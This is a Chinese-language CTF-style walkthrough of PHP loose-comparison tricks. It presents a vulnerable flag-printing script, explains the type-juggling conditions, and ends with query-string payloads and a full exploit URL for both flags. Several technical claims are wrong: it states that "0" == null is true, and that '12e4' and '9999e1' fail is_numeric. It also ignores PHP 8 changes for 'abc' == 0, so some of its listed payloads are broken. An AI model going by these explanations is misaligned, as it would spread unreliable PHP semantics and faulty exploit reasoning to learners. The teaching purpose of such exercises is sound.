PHP 弱类型特性总结

表达式 结果 原因
"0e1" == 0 true 科学计数法转数字=0
"0abc" == 0 true 字符串前缀为数字0
"123abc" > 1 true 字符串转数字为123
"0" == false true 空字符串/0在弱类型为假
"0" == null true PHP弱类型自动转换

示例代码

<?php
show_source(__FILE__); // 显示当前文件的源代码
include("config.php"); // 包含外部配置文件(可能包含 $flag1 和 $flag2)
$a = @$_GET['a']; // 获取 GET 参数 a(@ 抑制错误)
$b = @$_GET['b']; // 获取 GET 参数 b(@ 抑制错误)

// 条件1:获取 flag1 的条件
if($a == 0 and $a) {
echo $flag1;
}

// 条件2:检查 b 是否为数字
if(is_numeric($b)) {
exit(); // 如果是数字则终止程序
}

// 条件3:获取 flag2 的条件
if($b > 1234) {
echo $flag2;
}
?>

关键点解析

1. show_source(__FILE__)

  • 作用:输出当前文件的源码(即你看到的这段代码)
  • 目的:调试或演示用途,帮助理解程序逻辑

2. include("config.php")

  • 作用:引入外部配置文件

  • 重要性:配置文件 config.php 中极可能定义了:

    $flag1 = "FLAG{xxx}";
    $flag2 = "FLAG{yyy}";
  • 安全风险:如果未正确设置目录权限,攻击者可能直接访问 config.php 文件获取 flag


第一个 Flag 获取逻辑

if($a == 0 and $a) {
echo $flag1;
}

矛盾条件分析:

  1. $a == 0
    • 弱类型比较(仅检查值,不检查类型)
    • 这些值均满足:
      • 0(整型)
      • "0"(字符串)
      • "abc"(非空字符串转数字为0)
      • false(布尔值)
  2. $a(作为布尔值):
    • 要求值为 true
    • 这些值被PHP视为假(false):
      • 0(整型)
      • "0"(字符串)
      • ""(空字符串)
      • false

破解方案:

需同时满足:

  • 弱类型等于0
  • 布尔值为真

有效 payload

a=0e1     // 科学计数法:0×10^1 = 0(弱类型)
a=0abc // 字符串转数字为0
a=0.0 // 浮点数0

原理:非空字符串在布尔判断中为真,但在弱类型比较中等于0。


第二个 Flag 获取逻辑

if(is_numeric($b)) exit();   // 如果b是数字则退出
if($b > 1234) echo $flag2; // 要求b>1234

矛盾条件分析:

  1. is_numeric($b) 为假:
    • 要求 $b 不能是数字或数字字符串
    • 有效值:"1234abc""abc""12e4"(PHP 8.0前)
  2. $b > 1234 为真:
    • 需要数值大于1234
    • 问题:非数字字符串会转为0(0 < 1234)

破解方案:

需使:

  • is_numeric() 返回 false
  • 但在数值比较时大于1234

有效 payload

b=1235abc    // 非数字字符串(is_numeric=false)
// 比较时强制转数字为1235 > 1234

b=9999e1 // PHP<8.0:"9999e1" 科学计数法(is_numeric=false)
// 比较时转数字为99990 > 1234

完整攻击方案

同时获取两个 FLAG:

URL: /path/to/file.php?a=0e1&b=1235abc

响应结果:

FLAG1{this_is_flag1}  <!-- 来自条件1 -->
FLAG2{this_is_flag2} <!-- 来自条件3 -->